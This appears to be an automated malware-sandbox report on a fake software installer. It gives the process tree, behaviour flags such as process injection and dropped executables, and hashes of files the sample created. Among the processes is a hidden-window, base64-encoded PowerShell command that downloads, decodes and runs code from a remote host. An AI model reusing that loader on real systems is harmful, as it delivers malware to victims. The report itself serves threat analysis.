"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1908,3941790590601946071,2755156414225820676,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4624 /prefetch:8
2⤵
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
PID:3964

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1968

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1088

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2908

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\x64__installer___x32__\" -spe -an -ai#7zMap5377:106:7zEvent22311
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:760

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\x64__installer___x32__\__x64___setup___x32__\" -spe -an -ai#7zMap9602:150:7zEvent14371
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2408

C:\Windows\System32\msiexec.exe
"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\x64__installer___x32__\__x64___setup___x32__\setup.msi"
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3432

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2656

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 8AFCE00913D70BFD07A43F2504387809
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:3104

C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\UnRAR.exe
"C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\UnRAR.exe" x -p2161183588a "C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\nijboq.rar" "C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\"
2⤵
- Executes dropped EXE
PID:4700

C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\rnpkeys.exe
"C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\rnpkeys.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:420

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe explorer.exe
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2224

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -windowstyle hidden -e JAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAA7ACQAYgBzAD0AJAB3AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AdAB3AG8ALQByAG8AbwB0AC4AYwBvAG0ALwAyADUAMAA2AHMALgBiAHMANgA0ACIAKQA7AFsAQgB5AHQAZQBbAF0AXQAgACQAeAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAHMALgBSAGUAcABsAGEAYwBlACgAIgAhACIALAAiAGIAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAQAAiACwAIgBoACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACQAIgAsACIAbQAiACkALgBSAGUAcABsAGEAYwBlACgAIgAlACIALAAiAHAAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIgB2ACIAKQApADsAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAHgALgBDAG8AdQBuAHQAOwAkAGkAKwArACkAewAkAHgAWwAkAGkAXQA9ACAAKAAkAHgAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEANgA3ACkAIAAtAGIAeABvAHIAIAAxADgAfQA7AGkAZQB4ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAB4ACkAKQA=
4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1420

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
5⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4572

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x104,0x108,0x10c,0x100,0x110,0x7ff95b813cb8,0x7ff95b813cc8,0x7ff95b813cd8
6⤵
PID:420

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1936 /prefetch:2
6⤵
PID:2836

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 /prefetch:3
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:3448

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2624 /prefetch:8
6⤵
PID:3736

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
6⤵
PID:3472

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:1
6⤵
PID:2236

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3944 /prefetch:1
6⤵
PID:2556

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1824 /prefetch:1
6⤵
PID:1632

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4456 /prefetch:1
6⤵
PID:2328

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3388 /prefetch:8
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:1616

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5424 /prefetch:8
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:5076

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4564 /prefetch:1
6⤵
PID:4152

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5624 /prefetch:1
6⤵
PID:1604

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5552 /prefetch:1
6⤵
PID:5000

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3596 /prefetch:1
6⤵
PID:4844

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1940,6229573855583529880,12554663732724511378,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5592 /prefetch:1
6⤵
PID:236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 1972
4⤵
- Program crash
PID:2632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 1968
4⤵
- Program crash
PID:1188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 1980
4⤵
- Program crash
PID:4228

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 1F0D9ABE43000CE0174877875325C3C6
2⤵
- Loads dropped DLL
PID:4852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 2224 -ip 2224
1⤵
PID:1064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2224 -ip 2224
1⤵
PID:2844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2224 -ip 2224
1⤵
PID:4756

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1004

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3476

C:\Windows\System32\msiexec.exe
"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\x64__installer___x32__\__x64___setup___x32__\setup.msi"
1⤵
- Enumerates connected drives
PID:4644

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e58d4c3.rbs
Filesize
25KB

MD5
51203bb9abaaa2b6bdcffaedc8094bdd

SHA1
c176b55904647a62e5fe42582e693e10718d1f88

SHA256
f3d62d2822bdf790c3240807e34ebad70f95f7ee8e2427f9a6b94b4c9c028ffb

SHA512
f8707df256fb7f8924230858aed41b91dd89597eed2d529b9747b4839eac55fb8a6a56b1edf765b6de99ed7724e36231fac225ec8fdc459f145e4a2fe6ee69de

Download Submit
C:\Config.Msi\e58d4c7.rbs
Filesize
3KB

MD5
41eeed57000b4b4995dc86f02440023a

SHA1
30c6f98f6adf41d0e1bbc40dbba5cfbeffb74b2e

SHA256
fac10797c3ef9a64d091928bda4f97eea67639d96dfdfce4be84c4e0153ec20d

SHA512
fa2ef81a735f3f687bb16cd9bdc3693355215fdc565b0272f6368f4926b9c5bb12a3200e68d251280a2605d471e8cdf6321c0d617be7c16f60f7642b42ad8e46

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
f717f56b5d8e2e057c440a5a81043662

SHA1
0ad6c9bbd28dab5c9664bad04db95fd50db36b3f

SHA256
4286cd3f23251d0a607e47eccb5e0f4af8542d38b32879d2db2ab7f4e6031945

SHA512
61e263935d51028ec0aab51b938b880945a950cec9635a0dafddf795658ea0a2dfcf9cfc0cab5459b659bb7204347b047a5c6b924fabea44ce389b1cbb9867d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
196eaa9f7a574c29bd419f9d8c2d9349

SHA1
19982d15d1e2688903b0a3e53a8517ab537b68ed

SHA256
df1e96677bcfffe5044826aa14a11e85ef2ebb014ee9e890e723a14dc5f31412

SHA512
e066d74da36a459c19db30e68b703ec9f92019f2d5f24fd476a5fd3653c0b453871e2c08cdc47f2b4d4c4be19ff99e6ef3956d93b2d7d0a69645577d44125ac7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
0b6b928aed7166d0fe758a7b22304c30

SHA1
4b56bd662699b718eade9dd15a63cabad0487ca3

SHA256
e8725c745cd8c9d6e4e5381e6bf7479f354f2241615d388107aeb1e1a030d1f0

SHA512
2c351371fdc2da3c703ffa8f3b27a894898aee3416fc82aaff290a221e28093532034c88bdd90e199b6ff3fcebe7f989e32fbc6bd7d3358cc88c33152492eea8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
408B

MD5
17ca417f9ecb521a726d73ab5f946d76

SHA1
b21fd72565d424b3f6fd6770c9e7ddb8f8a3dac3

SHA256
0d2b286be9269fc8b3723130b7461d0ab354f6effb4020b5f520f28a241cc87a

SHA512
142c1012221f8f32a88a75a087f1633ebcd3a9336c6e066207d41cfa49164e5e4d9d8cd13aa18e4d7ede96d8f8160e0b6bc2fb563a39d73a111971fbbeac2c28

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons
Filesize
28KB

MD5
34f177345a5cbc51949d5255fc5fd61e

SHA1
b4e1e1e866e64db8ea10c5bec8be71965b3a53ef

SHA256
52beded49f838cf31b6e5415dac7982c467624f30c0c0ff4bafd1fa160cdf7bc

SHA512
f32be4a77f60247f60910fcc013c11f86898b72b4213c4b3bbf65adc7ae8f1150479007d9433f7675512f4985540290eeef64b24ee43cf282fd938733c9cf8a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History
Filesize
116KB

MD5
04c7deb2d9b1dfe92e4b1d5b3d197210

SHA1
888834e143dbba7d59d977b3cdcc2aacbe70e604

SHA256
c0db7f8faf3ca6e32545a0b8e7a272d9db10508b59766728f2524eb04a2c4176

SHA512
3b5f2969f9ffa574fc7248a55e4e28198de863875fddc6f244a57d9338e6686beeb7cebe3d6875435b39149411bc06cc8a52c7dcde8e8dfa77bef41a74b9baec

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Filesize
8KB

MD5
593cbed7f36493b7664ae44a968fa7b8

SHA1
afe1852939972b91a4ff5d6c2d99e27ab416964a

SHA256
5ef0068dbae79eae09f06f48707e078bc2cf9d134b02951082ac63100e46d766

SHA512
dcaddddfe72ad6c39c0ed3ef6c1543e6deedb8a13e379e34e8b68699b24c16e1e752a7bc79c2f394fa56601c7c1304d4ead317b54c9d722ee372dbbf33ac0051

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log
Filesize
95B

MD5
e747f00bc750c8b5438d17c626546063

SHA1
42fdc138eb2e3f5b19b21426a0cf9aa08fc2578b

SHA256
eb8ea32b91057259f2cb40d6f8fc63367a39685486fa045bd0d4cd57b4613b06

SHA512
40ac77e5937d6a79f104bd309e7e6e5593bf3c03f02efdbda375df04a7cd26afa3a7f677e7184919e25673a53663bcf36364b5e277d499d97046837fccbdf4a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Filesize
331B

MD5
abf7be7dda41d5da36dac4fe47344484

SHA1
0a45322187299f510c0af54770fd842eca036353

SHA256
35a69bdcdf891a246f944c096b57d97661e6003f8127a0ce71019aa47cee43a0

SHA512
35346c6d9631de84e7c6d920dc7a92ff0a4180944b55d7175c14bb951c8e033afff8af6ede0aadf3245eb73d2ef326cf2b46bb37041702ce92efb01122a4ac76

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
3KB

MD5
87285720b8e2c6e64ddaf7a78628b466

SHA1
2681701961afdec1d20646db96abdb582c8d98b4

SHA256
7e98ae90bba15bcc7feebbac26f5869d397f879bcade5b58c8c796ee1bc2b693

SHA512
6c45f3c3a206c1a0d186476d4771e373d461ed5cecda82270f917e35ce54b3eaea64079595cfd82181cd79c87216c93cfa87a7275202b5343ba31f1bd971118f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
111e0f9db00bfabb949dc8c6a16499b7

SHA1
5c9c9cb000a4b49dc84cbd5cbee64b0a5e7bd99b

SHA256
052efed0fbb8892db932e97bc62986e3ac371b18347e3e1e38fb361689d648f2

SHA512
added4b73bbf537f4ca2d5a5b9e978afd1a1f86487f46a3d0373ee2881ebd50a4476f8ad5ae3cd4a493c7d4b2e2f33907e5acb87055644d974e982bf95e0640f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
0dfdeebc0e9d6349a42ee67918dcbf55

SHA1
a9b38b0a3a8e825be16c53bccf4cc158b5903d8c

SHA256
63a0bea510d3b44826187d02da645dc3b009f751171e7e00d71cea8a5e88890e

SHA512
35a86e91b477e81c4483e238e09cdb59e58cafd3d45e37280e9f0cea02081ae0b3ccf18e1b0b728c683454fc3f272e2438e73487be000e7ed704bd3b524264ab

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
5KB

MD5
32130b0bf4fd6fc3ae199ee0a6dbb636

SHA1
651c5f11fd9179ffa61d9e452b7b0edb3b724df7

SHA256
62b297eccdadaa9c54983f4969c4502915c152bad0716306fcb5b18d2cd305c8

SHA512
23253e526b9351ed9fbe92bce6d40b8189937f36c9e0908ebf31ffaae4927be007d4e382e2a4ea6bd8c0ea9b697a86e0c050a67911623596c9825c7d88226320

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
4c43571c52a759a739c88ab3aa672701

SHA1
fb194472ecd6519af34b5eb365013b6a31e7222b

SHA256
1daa6c3ed21022681a412854e4483e429c765292af9df2c249cf20f821c24700

SHA512
dca4a7ce43ff703ae58cea0b244ba584c5ea857ca7144c2ded2138e6d2cec60e2f2bd34b92d3c1c79ee987c99f9a3de370c7146b2ac5bbbad4de874e626eb092

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
17941d58458cd8c48c858857625295c4

SHA1
5a57c3fe658f93565cfaa134d38722e356013085

SHA256
62168620eaa9890e7644276814445c2f135ab8248b8669342c945a21b418bd06

SHA512
dec490c28696f91a95cc84d425ee712686d1420675898cad29e2d7090d7b9b0842cb2a6ba5e12dee8cef782e936aef842f1e6105b41227d9409f6c130009cff8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
a411b20cfd958341ee814e6805f6c347

SHA1
8429f623d9cf7d0cb1bc82f6b340f17ff2893cdf

SHA256
9451b51f76b259c75d319e2e8bc8d033aff47115e1b7300f3d1a1b45006346b7

SHA512
d3308d390b23e39b921a6267edda2cd5c30800e0ae0b4d2c72c22fe1309294f2507deb1528e1bdca05dca6c62e21b4db767a164e91a8b7280ff9cea96cf196cd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Filesize
27KB

MD5
64ed59e89d2453437cab6aba7175d4a5

SHA1
b9123172febe6e08b8d17b944973471eb053e92b

SHA256
2339224aa0366ccf1464128c092a1617bbbacac4054d6bf09fa28bf593307a7c

SHA512
f38841ea07f3df5a826a213f44587493d5f0222e181cb24140ee1f6f76f60ab380789af0c09b08ec273de99312af0d007469d5f5cc75d3f1870746693f6c5c5a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Filesize
27KB

MD5
7a2b8335770290c480707580db86ca46

SHA1
f0891980dd9b2f490c7a88b02fa60b7480adfd6f

SHA256
173e2aaad616bd3c05e6a06cac57a085ff208b29f6ca00a2333cb420da2b71a3

SHA512
f3a807733e4756f90b53874e3751cee5ca192db55378aa6f96641e0b932cb54c7affaa0e1eddb8c5899cd8f2ab33d71737041f420c1f54d089e740de6401b98b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13364109478138182
Filesize
16KB

MD5
5a1746b4c10e035fcf6ab02e33741d31

SHA1
9f852947fa0d2e34e89aea5ac8ac06a9d63b2495

SHA256
f5d9d83ddbc7ff1d033a88a80e662f3409cd6a60ed3fa92e50529c65a8eea357

SHA512
a8185ffcaabb6136508e4f208a16566418e6d86ba31eb0bb6fed65b25334833e43aae0acde9e7ea644158aa715d0958949845d18215223fd36e950ecbaa321b1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Tabs_13364109478281182
Filesize
717B

MD5
31f2d2a79b4177cd17e5e4d33a70c16b

SHA1
c125943931c4adcfda48dc10ec4ebe8ea8d14fa4

SHA256
e7b34ce233a9afc26888b720db6cfda1fa697968fa06d346a83e64328012d806

SHA512
064c3e05449fae62147d51eec985cd302c30c1eacca20831955b41602fe39bf85d4f1571f6c658e531ffbd3b6c795e13e217dbd5a4484b8b122d187c4e03dcfe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Filesize
347B

MD5
4b5b84c143893f87efdb9b55b7d8ead0

SHA1
a893e9a250698a5e547fd71c9cafa21761fa84df

SHA256
d083e3d740696b1a898a790e659305329c91c120b9013c067e6e55fe1a195b45

SHA512
1220767e63ced56c271ba3001083ba4b5a6e23f233f2d416391b6bf6b2049624873f3a880b0a9d8ea743de23a9863ee8289d0134d5eb1f021b8340cf3dd54443

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Filesize
323B

MD5
ce28c0d106b58d2d7bfc21e445eba165

SHA1
a08b9df185b33e4e7c2a70222291c1c1b033e62c

SHA256
ac1d8f7c48013fdbec83e82e3fa3140a2c0ac223bd988af6320eca529049dd15

SHA512
79919285baa76fc887eaed2ad0dc5f34ab8f02780331b754f1e3b59ead60738b5d227dfa5c0cff5883f948d06b19621775a13b6e650eff68a65c76a0606ac7d1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links
Filesize
128KB

MD5
78ef297c5f7a1910b232f13ad56aad33

SHA1
7973a26bfd8bbe65d22032f6f2abafe50a3fa2de

SHA256
be2fd54a01fff07145369d480bdc809c53576c098e95f6d73edf0496c45c859f

SHA512
3a95b6920f401080842a3965fc8219d6b8e8eaa51d2ad14a84cfb20a1c36d2288ca091a46b5da4040274bd73f335c707474b902940109383af13841e6b15ba35

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Filesize
11B

MD5
b29bcf9cd0e55f93000b4bb265a9810b

SHA1
e662b8c98bd5eced29495dbe2a8f1930e3f714b8

SHA256
f53ab2877a33ef4dbde62f23f0cbfb572924a80a3921f47fc080d680107064b4

SHA512
e15f515e4177d38d6bb83a939a0a8f901ce64dffe45e635063161497d527fbddaf2b1261195fde90b72b4c3e64ac0a0500003faceffcc749471733c9e83eb011

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
b33231f862c47452c19273caecdac10b

SHA1
e2fc52e92f2cc1f0764a74a9a92333ce1ddfe8a0

SHA256
6ea79fdd41d9a89bdd6b7d96ce37851538897029f62217ef54844a20b01bc403

SHA512
01a4483903fa0c2daf4b1672a3e87e84551a9aa2e6c9f6ee880669e397eb38add2ca11c62fba7dc2e0d55ac28b970170897cd8cd51bf0d27c1d1d89177a4693f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
d644cf13011c710c844defa7805bf5fb

SHA1
